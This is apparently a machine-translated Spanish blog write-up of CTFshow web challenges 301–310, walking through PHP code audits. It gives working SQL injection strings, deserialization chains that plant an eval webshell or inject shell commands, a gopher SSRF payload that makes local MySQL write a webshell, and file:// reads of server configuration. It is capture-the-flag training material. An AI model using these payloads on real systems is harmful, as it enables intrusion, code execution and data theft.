Auditoría de código de entrada CTFshow-WEB

Prefacio

Comience con artículos felices de auditoría de código.

web301

Descarga el código fuente para analizar una ola, la mayoría de los cuales son archivos inútiles, principalmente en checklogin.php:

$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows<1){
    
    
	$_SESSION['error']="1";
	header("location:login.php");
	return;
}
if(!strcasecmp($userpwd,$row['sds_password'])){
    
    
	$_SESSION['login']=1;
	$result->free();
	$mysqli->close();
	header("location:index.php");
	return;
}

Inyección de SQL sin filtrar, simplemente haga que el contenido detectado sea igual a la contraseña pasada en la publicación y use la inyección de unión:

userid=-1' union select 1%23&userpwd=1

Puede ver la bandera después de iniciar sesión correctamente.

web302

Cambiado aquí:

if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
    
    
function sds_decode($str){
    
    
	return md5(md5($str.md5(base64_encode("sds")))."sds");
}

De hecho, no tiene ningún efecto, para decirlo sin rodeos, simplemente cambie el valor encontrado por la inyección conjunta para que el valor sea el sds_decode()mismo que el resultado de la contraseña enviada por su correo después de ser procesada por esta función. :

userid=-1' union select 'd9c77c4e454869d5d8da3b4be79694d3'%23&userpwd=1

web303

Después de descargar el código fuente, encontré dos nuevos archivos php y un .sql. Miré el .sql y encontré esto:

INSERT INTO `sds_user` VALUES ('1', 'admin', '27151b7b1ad51a38ea66b1529cde5ee4');

También se dan el nombre de usuario y la contraseña, y se siente mal. Echemos un vistazo al checklogin.php anterior:

if(strlen($username)>6){
    
    
	die();
}

Debería ser imposible de inyectar, intente iniciar sesión directamente, si tiene éxito, entonces está bien. Eche un vistazo al archivo php recién agregado, hay nuevos puntos de inyección:

	$dpt_name=$_POST['dpt_name'];
	$dpt_address=$_POST['dpt_address'];
	$dpt_build_year=$_POST['dpt_build_year'];
	$dpt_has_cert=$_POST['dpt_has_cert']=="on"?"1":"0";
	$dpt_cert_number=$_POST['dpt_cert_number'];
	$dpt_telephone_number=$_POST['dpt_telephone_number'];
	$mysqli->query("set names utf-8");
	$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
	$result=$mysqli->query($sql);

O inserte la inyección sin filtrar, simplemente inyecte directamente.

dpt_name=1&dpt_address=1&dpt_build_year=2021-02-24&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(table_name) from information_schema.tables where table_schema=database())%23&dpt_telephone_number=
dpt_name=1&dpt_address=1&dpt_build_year=2021-02-24&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')%23&dpt_telephone_number=
dpt_name=1&dpt_address=1&dpt_build_year=2021-02-24&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(flag) from sds_fl9g)%23&dpt_telephone_number=

web304

Dijo que se agregó waf, pero no sentí que se hubiera agregado. . La carga útil anterior todavía se puede utilizar.

web305

Se agregó class.php, agujero para deserialización:

	public function __destruct(){
    
    
		file_put_contents($this->username, $this->password);
	}

Muy simple, no hay nada que decir, solo escriba uno y verifique la bandera de inmediato:
Inserte la descripción de la imagen aquí

También puede conectarse directamente a la base de datos, prestar atención para cambiar el tipo a mysqli, y luego la contraseña en el código fuente dado es falsa, vaya a conn.php para encontrar:
Inserte la descripción de la imagen aquí

La bandera también se puede encontrar en el interior.

web306

El código de la estructura mvc, revise aproximadamente, mire class.php y dao.php para conocer el punto de prueba:

'class.php'
class log{
    
    
	public $title='log.txt';
	public $info='';
	public function loginfo($info){
    
    
		$this->info=$this->info.$info;
	}
	public function close(){
    
    
		file_put_contents($this->title, $this->info);
	}

}
'dao.php'
	public function __destruct(){
    
    
		$this->conn->close();
	}

Obviamente, deserialización, busque unserialize globalmente y encuentre que login.php e index.php están disponibles, pero login.php no se puede usar porque se necesitan dao.php y class.php, login.php solo requiere class.php, pero index.php requiere dao.php, y dao.php requiere class.php, por lo que index.php puede. :

<?php
class log{
    
    
    public $title='1.php';
    public $info='<?php eval($_POST[0]);?>';
}
class dao{
    
    
    private $conn;

    public function __construct(){
    
    
        $this->conn=new log();
    }
}
echo base64_encode(serialize(new dao()));

Genere la carga útil y péguela directamente, y luego busque flag.php.

web307

Ahora cambié el nombre class.phpdel close()método en el interior. Lo closelog()busqué en todo el mundo. Solo este lugar está disponible, por lo que es probable que este método esté muerto. Solo se 可控变量->(可控变量)puede usar a menos que se pueda encontrar dicho lugar.
Teniendo en cuenta que no hay mucho código, revise estos códigos en detalle nuevamente. Un lugar que me llamó la atención, la clase de servicio __wakeup:

	public function __wakeup(){
    
    
		$this->config=new config();
		$this->dao=new dao();
	}

El sitio de prueba para esta pregunta debe haber sido deserializado, pero aquí __wakeuphay una pregunta que debería permitirnos omitir esto __wakeup. Pero eché un vistazo al tema del medio ambiente es php7.3, no cumple con las condiciones de bypass:

PHP5 < 5.6.25

PHP7 < 7.0.10

Mirando de nuevo, encontré logout.php aquí:

$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
    
    
	$service->clearCache();
}

Cuando vi el clearCache()método, de repente pensé que cuando vi este método antes, estaba pensando que si $configpuedo controlarlo, puedo ejecutar comandos a voluntad. :

	public function  clearCache(){
    
    
		shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
	}

Después de una mirada, de hecho es controlable, por lo que puede construir un POC, pero debe tenerse en cuenta que la clase dao se serializa en lugar de la clase de servicio, porque la clase de servicio tiene el mismo nombre de método que __wakeupla clase dao y la clase de servicio clearCache. , Solo disponible. Adivine la siguiente pregunta directamente para encontrar el método, ¿qué nombre de método aparece dos veces en las dos clases, entonces este método es el sitio de prueba?

Construye un POC:

<?php
class config{
    
    
    public $cache_dir = 'cache/*;cat /var/www/html/flag.php > /var/www/html/2.txt;';
}
class dao
{
    
    
    private $config;

    public function __construct()
    {
    
    
        $this->config = new config();
    }
}
echo base64_encode(serialize(new dao()));

Escriba directamente y luego acceda a 2.txt:
Inserte la descripción de la imagen aquí

web308

En comparación, encontrará que esto se agrega:

	public function checkVersion(){
    
    
		return checkUpdate($this->config->update_url);
	}
function checkUpdate($url){
    
    
		$ch=curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_HEADER, false);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
		$res = curl_exec($ch);
		curl_close($ch);
		return $res;
	}

Debe ser que ssrf no se ejecutó. Eche un vistazo a config.php, el nombre de usuario de mysql es root y la contraseña está vacía, y mysql está escrito correctamente. Pero esto es lo que me obsesiona:

if(!isset($_SESSION['login'])){
    
    
header("location:login.php");
}
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
    
    
    $lastVersion=$service->checkVersion();
}

Pensé que necesitaba iniciar sesión correctamente para ejecutar la carga útil, pero no pude inyectar sql, ni era una contraseña débil. ¿Cómo puedo iniciar sesión correctamente? En este momento, supongo que el código detrás del encabezado todavía se puede ejecutar. Lo comprobé, es cierto que puedo. . El código después del salto de encabezado todavía se puede ejecutar normalmente. Este es un malentendido inherente mío. Aprendí lo que aprendí.
Una vez que lo sepa, presione mysql, use la herramienta para generar gopher y luego escriba el POC:

<?php
class config{
    
    
    public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%30%5d%29%3b%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%27%01%00%00%00%01';
}
class dao{
    
    
    private $config;

    public function __construct(){
    
    
        $this->config=new config();
    }
}
echo base64_encode(serialize(new dao()));

Simplemente vaya y presione, y luego obtenga el shell, solo busque el archivo de bandera. Aprendido aprendido.

web309

Dado que mysql tiene una contraseña y no se puede escribir, redis y fastcgi básicamente se dejan después de pensarlo. Utilizo dict para detectarlo. Parece que no hay redis, por lo que hay una alta probabilidad de fastcgi, pero yo soy también confundido acerca de cómo determinar la existencia de fastcgi. Eche un vistazo al método del Maestro Yu y juzgue el retraso del protocolo de la ardilla:

gopher://127.0.0.1:9000/

Después de juzgar la existencia, la herramienta genera: simplemente
Inserte la descripción de la imagen aquí
púlsela directamente:
Inserte la descripción de la imagen aquí

web310

Pensé que se reproduciría en redis. Después de probarlo, descubrí que 9000 todavía existe. Luego lo escribí de la misma manera. Descubrí que no podía leer / var / www / html / f *. Use el comando de búsqueda para encontrar el flag, y se encontró en / var / flag, pero no puedo leer cómo leerlo.
Eché un vistazo a la postura del Maestro Yu, leyendo nginx.conf y leyendo este archivo de configuración:

<?php
class config{
    
    
    public $update_url ="file:///etc/nginx/nginx.conf";
}
class dao{
    
    
    private $config;

    public function __construct(){
    
    
        $this->config=new config();
    }
}
echo base64_encode(serialize(new dao()));

En cuanto a la ruta de este archivo, puede encontrarlo a través del comando de búsqueda.
Tengo esto:

server {
    
    
        listen       4476;
        server_name  localhost;
        root         /var/flag;
        index index.html;

Entonces léelo:

<?php
class config{
    
    
    public $update_url ="http://127.0.0.1:4476/";
}
class dao{
    
    
    private $config;

    public function __construct(){
    
    
        $this->config=new config();
    }
}
echo base64_encode(serialize(new dao()));

También aprendí que nginx puede conectarse a PHP a través de fastcgi, por lo que habrá información importante en el archivo de configuración de nginx, además del reenvío de puertos, etc., es posible que se incluya información importante en el archivo de configuración.
En este punto, el capítulo de auditoría de código ha terminado.

Supongo que te gusta

Origin blog.csdn.net/rfrder/article/details/113924013
Recomendado
Clasificación